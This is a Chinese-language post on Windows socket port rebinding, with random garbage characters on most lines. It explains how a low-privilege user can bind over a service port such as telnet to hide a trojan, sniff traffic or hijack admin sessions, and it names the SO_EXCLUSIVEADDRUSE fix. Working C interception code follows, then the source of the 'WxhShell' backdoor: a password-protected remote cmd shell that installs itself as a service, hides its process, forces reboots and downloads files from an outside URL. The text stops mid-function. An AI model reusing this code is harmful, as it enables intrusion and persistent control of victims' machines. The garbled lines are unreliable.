在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
;tu2}1#r s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
uNRT@@oCq R?GF,s<j saddr.sin_family = AF_INET;
y@Q?
guB 0}y-DCuQ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
ZpQ8KY$5 OLM}en_L bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
~`Xu6+1o AT]Ty 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
`SSUQ#@ /C)FS?=
这意味着什么?意味着可以进行如下的攻击:
sOLR *=F{ -$m?ShDd 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
4Gm (P~N O:3DIT1#> 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
!2Q> d8Kxtg
Y 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
z ''-AH, vswBK-w(Z 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
!~~j&+hK\ trC+Etc 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
%!e;sL~& Jz6,2,LN 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
&BDdJwE =q-HR+ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
>ey-j\_v `Gp!Y #include
B 8ycr~ #include
X@n\~[.B #include
T{%'"mm; #include
`F<[\@\d5 DWORD WINAPI ClientThread(LPVOID lpParam);
3qc o2{nz int main()
H\Jpw {
Ut
xe WORD wVersionRequested;
?hQ,'M2 DWORD ret;
)4P5i
b WSADATA wsaData;
dnP3{!"b BOOL val;
?~5J!|r# SOCKADDR_IN saddr;
g6. =(je SOCKADDR_IN scaddr;
HBFuA.", int err;
!bHM:!6^ SOCKET s;
$iblLZhj SOCKET sc;
HjFY>(e int caddsize;
;|Ja|@82 HANDLE mt;
#`0iN+qh DWORD tid;
Ay Obaa5 wVersionRequested = MAKEWORD( 2, 2 );
/B?hM&@z err = WSAStartup( wVersionRequested, &wsaData );
CXsi if ( err != 0 ) {
}bs2Rxkh printf("error!WSAStartup failed!\n");
\O7?!i return -1;
*0^t;A+ }
U&|$B|[ saddr.sin_family = AF_INET;
{mp;^/O`er 'd"\h# //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
pw7_j;}l >)N}V'9 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
B`4[@$ saddr.sin_port = htons(23);
Yb|zE if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
z^f-MgWG {
`f^`i~c\ printf("error!socket failed!\n");
&\C{,:[ return -1;
^j2:fJOU# }
8<g_JW[% val = TRUE;
BX),U //SO_REUSEADDR选项就是可以实现端口重绑定的
*4zVK/FJ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
pg~`NN {
~X;(m<f2 printf("error!setsockopt failed!\n");
A&5$eGe9 return -1;
ubhem(p# }
<C4^Vem //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
%;9eh' //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
O'."ca]:5 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
U6=m4]~Z -}UCdaQ3 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
1F5F2OT$8 {
2597#O ret=GetLastError();
.)Se-' printf("error!bind failed!\n");
yh5KN_W return -1;
0;TMwE }
:;"3k64 listen(s,2);
cQPH le2 while(1)
CSU> nIE0 {
NUL~zb caddsize = sizeof(scaddr);
q@(N 38D //接受连接请求
j7-#">YL sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
rI]:| k if(sc!=INVALID_SOCKET)
33Mr9Doon {
'~ ]b;nA mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
kd\G> if(mt==NULL)
Y,mH ] {
wU#Q>ut'% printf("Thread Creat Failed!\n");
NHc+QMbou( break;
g1J]z<& }
Q|G[9HBI }
"Ln\ZYB] CloseHandle(mt);
r9vC&pWZ }
#3CA closesocket(s);
[=E<iPl WSACleanup();
56':U29.] return 0;
K->p&6s }
F37,u| DWORD WINAPI ClientThread(LPVOID lpParam)
Vr0RdO {
alu`T
c~ SOCKET ss = (SOCKET)lpParam;
L:^'cl}
G SOCKET sc;
b'{D4/ unsigned char buf[4096];
cL
WM]\Y SOCKADDR_IN saddr;
,zw long num;
4*dT|NU DWORD val;
|]]fcJOBP DWORD ret;
Ql V:8:H$ //如果是隐藏端口应用的话,可以在此处加一些判断
gh
0\9;h //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
):[[Ch_ saddr.sin_family = AF_INET;
p' gv5\u[w saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
(^Ln|3iz saddr.sin_port = htons(23);
uIPR*9~6o if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
7v:;`6Jb {
w\QpQ~OX printf("error!socket failed!\n");
(HJ60Hj return -1;
IWQ8e$N }
(nzzX?`nY val = 100;
a[JgR /E@x if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
%q!nTGU~ {
TUUBC% ret = GetLastError();
[zfGDMG& return -1;
)Ob{] }
2]'ozs$|v if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
':[y]ep(~| {
8_LDS ret = GetLastError();
{p/m+m return -1;
5u8Sxfm", }
z(=:J_N if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Cm&itG {
*5NffiA}- printf("error!socket connect failed!\n");
S&0x:VW closesocket(sc);
Xgm7>=l closesocket(ss);
Nf~<xK return -1;
WZr~Pb9 }
+1y#=iM{ while(1)
BCj&z{5"7e {
0Nfj}sXCWE //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
ibq@0CR //如果是嗅探内容的话,可以再此处进行内容分析和记录
v 3NaX. //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
GB=q}@&8p num = recv(ss,buf,4096,0);
o?3R HP47 if(num>0)
wfdFGoy( send(sc,buf,num,0);
x<l1s else if(num==0)
Dn[1BWM/7 break;
C/bttd num = recv(sc,buf,4096,0);
xI@~I g if(num>0)
2*|]#W send(ss,buf,num,0);
EI;\of2, else if(num==0)
NR*SEbUU* break;
A0XFu}
}
{G}HZv%S U closesocket(ss);
W)#`4a^xj7 closesocket(sc);
r)t^qhn return 0 ;
_x!pMj(A }
]ok>PH] vf2K2\fn {ZcZ\Q;6 ==========================================================
#RF=a7&F <-F"&LI{< 下边附上一个代码,,WXhSHELL
zgqw*)C~ :3B\,inJ ==========================================================
9)">()8 {9Y'v #include "stdafx.h"
fDd!Mt HhL%iy1 #include <stdio.h>
+2SX4Kxu #include <string.h>
h uJqqC #include <windows.h>
'T[zh#v>S #include <winsock2.h>
jO55<s94 #include <winsvc.h>
{Fi@|' #include <urlmon.h>
Bt,Xe~$z- x/=j$oA #pragma comment (lib, "Ws2_32.lib")
vNC0M:p, #pragma comment (lib, "urlmon.lib")
yr>bL"!CA IMza
2 #define MAX_USER 100 // 最大客户端连接数
mB{{o}'<u #define BUF_SOCK 200 // sock buffer
PAHlj,n) #define KEY_BUFF 255 // 输入 buffer
tWnm{mF R(sM(x5a` #define REBOOT 0 // 重启
@@wx~|% #define SHUTDOWN 1 // 关机
1c#'5~nB (GG"'bYk #define DEF_PORT 5000 // 监听端口
l,.?-|Poa :eW~nI.Vc #define REG_LEN 16 // 注册表键长度
(x
qA.(F #define SVC_LEN 80 // NT服务名长度
pGY]VwY cA?
x( // 从dll定义API
Wq(l :W' typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
n*Vd<m;w typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
f_ztnRw typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
,SF.@^o@a typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
ht)nx,e= |*KS<iHr% // wxhshell配置信息
yvCR = C struct WSCFG {
R*Z] int ws_port; // 监听端口
nud=uJ"( char ws_passstr[REG_LEN]; // 口令
nKB&|! int ws_autoins; // 安装标记, 1=yes 0=no
xn@0pL3B~ char ws_regname[REG_LEN]; // 注册表键名
WEtA4zCO char ws_svcname[REG_LEN]; // 服务名
`8;,&<U'` char ws_svcdisp[SVC_LEN]; // 服务显示名
i ,pN1_- char ws_svcdesc[SVC_LEN]; // 服务描述信息
UMuuf6 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
UZP6x2:= int ws_downexe; // 下载执行标记, 1=yes 0=no
45sxF?GSwL char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Ia`JIc^e char ws_filenam[SVC_LEN]; // 下载后保存的文件名
<m,yFk xs!g{~V{ };
JhCkkw neh;`7~5@K // default Wxhshell configuration
HI\f>U struct WSCFG wscfg={DEF_PORT,
rA1r#ksQ "xuhuanlingzhe",
] 5v4^mk 1,
oD#>8Aw s "Wxhshell",
0sDwTb" "Wxhshell",
{Mr~%y4 "WxhShell Service",
H [Lt%:r
"Wrsky Windows CmdShell Service",
^8NLe9~p3? "Please Input Your Password: ",
]}[Yf 1,
5 n+ e "
http://www.wrsky.com/wxhshell.exe",
OR\DTLIl "Wxhshell.exe"
'B (eMnLg };
o}MzqKfu /3Nb // 消息定义模块
tB7K&ssi char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
>u5g?yzw char *msg_ws_prompt="\n\r? for help\n\r#>";
AB"1(PbG char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
:vK(LU0K char *msg_ws_ext="\n\rExit.";
+K;Y+
K&;2 char *msg_ws_end="\n\rQuit.";
0^9:KZ.! char *msg_ws_boot="\n\rReboot...";
#_?TIY:h char *msg_ws_poff="\n\rShutdown...";
3G%wZ,)C char *msg_ws_down="\n\rSave to ";
*:9 >W$0u Ty3CBR{6 char *msg_ws_err="\n\rErr!";
C NfJ:e2 char *msg_ws_ok="\n\rOK!";
Qq T/1^imS \ I^nx+l char ExeFile[MAX_PATH];
`u#;MUg int nUser = 0;
=!(*5\IM HANDLE handles[MAX_USER];
3+(yI 4 int OsIsNt;
|
"Jx ZU-4})7uSB SERVICE_STATUS serviceStatus;
-J"qrpZ^ SERVICE_STATUS_HANDLE hServiceStatusHandle;
WVS$O99Y 4[TS4p // 函数声明
-c+[6A>j int Install(void);
C}mYt/ int Uninstall(void);
Cf0|Z int DownloadFile(char *sURL, SOCKET wsh);
=`qRu int Boot(int flag);
7~wFU*P1 void HideProc(void);
#y=ZP:{:t int GetOsVer(void);
<.,RBo int Wxhshell(SOCKET wsl);
17>5#JLP void TalkWithClient(void *cs);
5/B#) gm int CmdShell(SOCKET sock);
{ExII<=6 int StartFromService(void);
@[MO,J&h int StartWxhshell(LPSTR lpCmdLine);
n1QEu"~Zj { p1lae VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
59{;VY81 VOID WINAPI NTServiceHandler( DWORD fdwControl );
|7 &|> dqqnCXYuW // 数据结构和表定义
Mv.Ciyc SERVICE_TABLE_ENTRY DispatchTable[] =
-$+,]t^GV {
5>k>L*5J {wscfg.ws_svcname, NTServiceMain},
tm(v~L%$>] {NULL, NULL}
}@Xh xZu };
u`'ki7LA Q |
// 自我安装
m6b$Xyq[ int Install(void)
m8'@UzB {
,-@xq.D char svExeFile[MAX_PATH];
N0+hejz HKEY key;
jm+ V$YBP strcpy(svExeFile,ExeFile);
9khjwt wGg0hL // 如果是win9x系统,修改注册表设为自启动
SOVjEo4'3 if(!OsIsNt) {
Pp,Um( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
/K7Bae5h RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Te# ]Cn| RegCloseKey(key);
{$;2HbM( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
5J
ySFG3 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
[w!C*_V 9 RegCloseKey(key);
0; 7#ji
return 0;
yE#g5V& }
z)
:ka"e }
`M:DZNy, }
C,fY.CeI else {
eH
%Ja[ 6D|p Qs // 如果是NT以上系统,安装为系统服务
}MP>]8Aq SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
rvwa!YY} if (schSCManager!=0)
2HD:JdL {
~(P&g7u SC_HANDLE schService = CreateService
I7~| ~< (
6ZcXS schSCManager,
Q^L)
Vp" wscfg.ws_svcname,
&=X.*H% wscfg.ws_svcdisp,
UbO4%YHt SERVICE_ALL_ACCESS,
e?b)p5g SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
$E\^v^LW SERVICE_AUTO_START,
M ,`w A SERVICE_ERROR_NORMAL,
J/ vK6cO\ svExeFile,
M diwRi NULL,
Lkn4<'un NULL,
V,Q4n%h1. NULL,
X d3}Vn= NULL,
(!3;X"l NULL
`PgdJrE );
1yMr~Fo if (schService!=0)
s3:9$.tiR[ {
y \D=Z
N@ CloseServiceHandle(schService);
1'JD = CloseServiceHandle(schSCManager);
vQ1 v#Z strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
`:p1&OS strcat(svExeFile,wscfg.ws_svcname);
U\zD,<I9 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
WF[bO7: RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
^nNitF
RegCloseKey(key);
Ch19h8M return 0;
/&^W#U$4 }
Ls}7VKl' }
T.ML$"f CloseServiceHandle(schSCManager);
XKS8K4" }
n<7u>;SJQ }
Dvc&RG nL-K)G, return 1;
dg_G s>?2 }
p*20-!{A j.%K_h?V5 // 自我卸载
BUsV|e\ int Uninstall(void)
.4-,_`T? {
Zsx3/} HKEY key;
GpI!J}~m G8J*Wnwu[K if(!OsIsNt) {
WQ6"0*er if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
yK%ebq] RegDeleteValue(key,wscfg.ws_regname);
Uz
dc RegCloseKey(key);
k|xtr&1N.! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
JSr$-C
fH RegDeleteValue(key,wscfg.ws_regname);
Ii&7rdoxe RegCloseKey(key);
k[kju%i4 return 0;
j Ux
z }
5Qh?>n>* }
:j^FJ@2_ }
X3%Ic`Lq# else {
y3G
`> T'H::^9:E SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
~Z'w)!h if (schSCManager!=0)
8|%^3O 0X {
T~:|!` SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
om h{0jA0 if (schService!=0)
)#iq4@)|g {
S* *oA 6 if(DeleteService(schService)!=0) {
kgi>}
% CloseServiceHandle(schService);
DA&?e~L&H CloseServiceHandle(schSCManager);
m3<+yz$!r return 0;
@]aOyb@ }
6CbxuzYer CloseServiceHandle(schService);
U}k9 Py }
GH1"xR4! CloseServiceHandle(schSCManager);
NMOut@ }
u8GMUN }
c%m3}mrb @&|l^ 1 return 1;
~{,X3-S_H }
d;mx<i=/ \*f;X aa // 从指定url下载文件
jz58E} int DownloadFile(char *sURL, SOCKET wsh)
E.|-?xQ6 {
F#
T 07< HRESULT hr;
DwHF[]v' char seps[]= "/";
#n0Y6Pr char *token;
Z_1U9+, char *file;
l>*"mh char myURL[MAX_PATH];
fjk\L\1 char myFILE[MAX_PATH];
@c9^q>Uv ';Zi@f" strcpy(myURL,sURL);
YW u cvw& token=strtok(myURL,seps);
K*UgX(xu4P while(token!=NULL)
I$N8tn+E {
]$b[`g& file=token;
|sRipWh token=strtok(NULL,seps);
M" ^PW,k }
8#!i[UFdj N_:qRpp6i GetCurrentDirectory(MAX_PATH,myFILE);
JRo?s~Ih strcat(myFILE, "\\");
iY"l}.7) strcat(myFILE, file);
;q N+^;,2 send(wsh,myFILE,strlen(myFILE),0);
`;%]'F0` send(wsh,"...",3,0);
)jrV#/m9 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
mU}F!J#6 if(hr==S_OK)
3bnS
W5 return 0;
a:QDBS2Llv else
u#}[ZoI return 1;
Y"A/^] P ;IrBq6|o }
y ]?V~% qOIW(D // 系统电源模块
?QE,;QtpK int Boot(int flag)
Aq3}Ng {
?-^~f HANDLE hToken;
Kq i4hK TOKEN_PRIVILEGES tkp;
0RoU}r@z4 e=O,B8)_ if(OsIsNt) {
Z+@2"%W OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Qxj JN^Q LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
3}e%[AKh tkp.PrivilegeCount = 1;
!.d@L6 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
c y8;@[#9 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
-[-wkC8a if(flag==REBOOT) {
LD!Q8" if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
0jEL<TgC return 0;
6F e34n]m }
KEWTBBg else {
I_RsYw if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
z[Xd%mhjO return 0;
YpqrZWvh }
/~3r;M }
eH{[C* else {
(DI>5.x" if(flag==REBOOT) {
c"[cNZo if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
X7rMeu return 0;
A{A\RSZ0 }
<u2 }i<# else {
0\e IQp if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
o_~eg8 return 0;
@ta7"6p-i@ }
>D4#y }
"men >Z5gSs0 return 1;
_fKou2$yz }
,k;^G><
= -PfX0y9n // win9x进程隐藏模块
&wV]"&- void HideProc(void)
%rv7Jy {
;XBI{CW yPal<c HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
5rU[Tir if ( hKernel != NULL )
k=jk`c{<[ {
Rd#WMo2Xd pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
$69oV: ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Rx}$0c0 FreeLibrary(hKernel);
R21b!Pd\ }
):[7E(F= fSokm4]vg return;
,Pdf,2 }
eLfk\kk]Pc ?k(7 LX0j // 获取操作系统版本
0|{u{w@!` int GetOsVer(void)
N(Fp0 {
JPoN&BTCj OSVERSIONINFO winfo;
.N
,3od@ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
K/|Z$4S GetVersionEx(&winfo);
3`t%g[D1 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
mjW8Q\D return 1;
!:q/Ye3. else
H}hiT/+$ return 0;
J4fi' }
2#c<\s|C o!kbK#k // 客户端句柄模块
+%ee8|\ int Wxhshell(SOCKET wsl)
AP'*Nh@Ik( {
lPw%ErG SOCKET wsh;
K/IWH[ struct sockaddr_in client;
@$[?z9ck" DWORD myID;
9_Be0xgJ3^ XAF+0 x! while(nUser<MAX_USER)
RBs-_o+ % {
/`wvxKX int nSize=sizeof(client);
t/VD31 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
~?d Nd if(wsh==INVALID_SOCKET) return 1;
pKpUXfQu 0jy2H2 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
ChGYTn`X if(handles[nUser]==0)
t*Sa@$p closesocket(wsh);
-?V-*jI else
nn@-W] nUser++;
+BETF;0D }
ywGd> @ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
,!#*GZ.ix _K l_61k return 0;
v0z5j6)-1 }
J^SdH&%Z p<2L.\6" // 关闭 socket
49GkPy#]L= void CloseIt(SOCKET wsh)
J8uLJ {
RP[{4Q8 closesocket(wsh);
tn(JC%?^ nUser--;
D~S<U ExitThread(0);
g{OwuAC_ }
GpY"fc% $'BSH4~|. // 客户端请求句柄
,(d)Qg void TalkWithClient(void *cs)
P5a4ze {
2Rw&C6("w n.!#P| SOCKET wsh=(SOCKET)cs;
_aGOb;h char pwd[SVC_LEN];
b=yx7v"r char cmd[KEY_BUFF];
LlX{#R char chr[1];
_=_Px@<Q int i,j;
g!@<n1 L *H"B _3<n while (nUser < MAX_USER) {
4>F'oqFF t<#mP@Mz=N if(wscfg.ws_passstr) {
~$Tkn_w# if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
zi|+HM //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
@$S+ Ne[< //ZeroMemory(pwd,KEY_BUFF);
[#-b8Cu i=0;
XewVcRo while(i<SVC_LEN) {
v- T$:cL .k,1f*% // 设置超时
SQBa;hvgM fd_set FdRead;
+giyX7BPJ struct timeval TimeOut;
@mOH"acGn? FD_ZERO(&FdRead);
0h#lJS* FD_SET(wsh,&FdRead);
"+kL)] TimeOut.tv_sec=8;
%<k2#6K TimeOut.tv_usec=0;
3h;{!|-3 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
d4u}) if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
qaiNz S@q Rp.Sj{<2 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
aoMqSwF= pwd
=chr[0]; f[<m<I
if(chr[0]==0xd || chr[0]==0xa) { :[wsKFaV+
pwd=0; "'c
A2~
break; [B+yyBtx
} q*U*Fu+
i++; .>=(' -
} _-q.Q^
I8wXuIN_
// 如果是非法用户,关闭 socket /(u}KMR!f
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >p)MawT]
} v*'^r)Q[p
^8 z R
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); pXrFljoYl[
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Li!Vx1p;u.
'qZW,],5
while(1) { "fG8?)d;
Sh/T ,
ZeroMemory(cmd,KEY_BUFF); f%SZg!+t
s3~lT.
// 自动支持客户端 telnet标准 RHmgD;7`
j=0; v=0(~<7B
while(j<KEY_BUFF) { \n$u)Xj~6^
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d ^^bke$~
cmd[j]=chr[0]; 0t Fkd
if(chr[0]==0xa || chr[0]==0xd) { T=iJGRctB
cmd[j]=0; HBy[FYa4
break;
#bUXgn>
} Lx\8Z=
j++; "3Uv]F
} K~AR*1??[
_y),J'W^3u
// 下载文件 0xxg|;h.,g
if(strstr(cmd,"http://")) { c9HrMgW
send(wsh,msg_ws_down,strlen(msg_ws_down),0); f-bVKHt
if(DownloadFile(cmd,wsh)) q;R],7Re
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0rOfrTNOz%
else }T; P~aG
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mkYqpD7
} k,85Y$`'
else { ]"t@-PFX<
C9~52+S
switch(cmd[0]) { kqM045W7
|uX,5Q#6
// 帮助 >[9J?H
case '?': { 2/?`J
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); GR
+[UG
break; ;1:Js0=;H
} SO IHePmwK
// 安装 brW :C?}
case 'i': { Gf,`
if(Install()) 'm4W}F
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ix([mQg
else }RzWJ@QD<
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gG]Eeu+z
break; ,5|&A
} Z1 Bp+a3
// 卸载 .} q&5v
case 'r': { byLft1
if(Uninstall()) H=g`hF]`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {l>yi
else I$<<(VWH
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %5eY'
break; =osv3>&q
} 8.XoVW#
// 显示 wxhshell 所在路径 P+s!|7'
case 'p': { Jz7!4mu
char svExeFile[MAX_PATH]; K%a%a6k`
strcpy(svExeFile,"\n\r"); qyF{f8pzq
strcat(svExeFile,ExeFile); m;'6MHx;
send(wsh,svExeFile,strlen(svExeFile),0); jFASX2.p
break; EH256f(&
}
1Md
// 重启 eM$s v9?
case 'b': { cl]Mi
"3_
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }q $5ig
if(Boot(REBOOT)) `Gn50-@
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fx;QU)1l3
else { znxnL,-
closesocket(wsh); l8I /0`_
ExitThread(0); mVVD!
} [P&7i57
break; sejg&8
} pi
Z[Y
5OE
// 关机 Yzh"1|O
case 'd': { \HKxh:F'
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); MRb-H1+Xf
if(Boot(SHUTDOWN)) vR s,zL$W
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y~L2
else { :c8&N-`
closesocket(wsh); -=~| ."O
ExitThread(0); N'^&\@)xiU
} VFRi1\G
break; M%ICdIc'
} w8MG(Lq1"
// 获取shell 8,C*4y~
case 's': { k< y>)
CmdShell(wsh); 0`X]o'RxS
closesocket(wsh); [H6hyG~
ExitThread(0); Fs9I7~L3
break; l|kSsP:GO
} 9y<*8bI
// 退出 {]:7bV#JP
case 'x': { Dp)=0<$y
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); WU71/PYm`
CloseIt(wsh); 9{
>Ui
break; .P[ _<8
} D;;!ODX$?
// 离开 yXHUJgjl/
case 'q': { 0:9.;x9_
send(wsh,msg_ws_end,strlen(msg_ws_end),0); G/7cK\^u
closesocket(wsh); uTKD 4yig
WSACleanup(); `< xn8h9p
exit(1); 2E}*v5b,
break; 7ccO93Mz
} z^#;~I @M
} 1Cv-
} &e#~<Wm82
K`u(/kz/<
// 提示信息 e[&L9U6GW-
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k'Sp.
} }a/x._[s
} u~WVGjoQ
#~C]ZrK
return; A
Q'J9
} 0w&27wW
8,?h~prc
// shell模块句柄 $W!!wN=B
int CmdShell(SOCKET sock) e=B|==E10M
{ Kx;eaz:gx
STARTUPINFO si; ;C3US)j
ZeroMemory(&si,sizeof(si)); qI#;j%V
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i}.&0Fp
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;
1~Oe=`{&
PROCESS_INFORMATION ProcessInfo; /v-6WSN
char cmdline[]="cmd"; JM x>][xD
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @?yX!_YC
return 0; G9xmmc
} w5A y)lz
* +"9%&?
// 自身启动模式 WtG~('g>&
int StartFromService(void) wr$M$i:
{ ]:4*L
typedef struct |wiqGzAr{
{ %s|}Fz->
DWORD ExitStatus; e4H A7=z
DWORD PebBaseAddress; $~VRza 8Q
DWORD AffinityMask; A OISs4
DWORD BasePriority; fI{&#~f4C
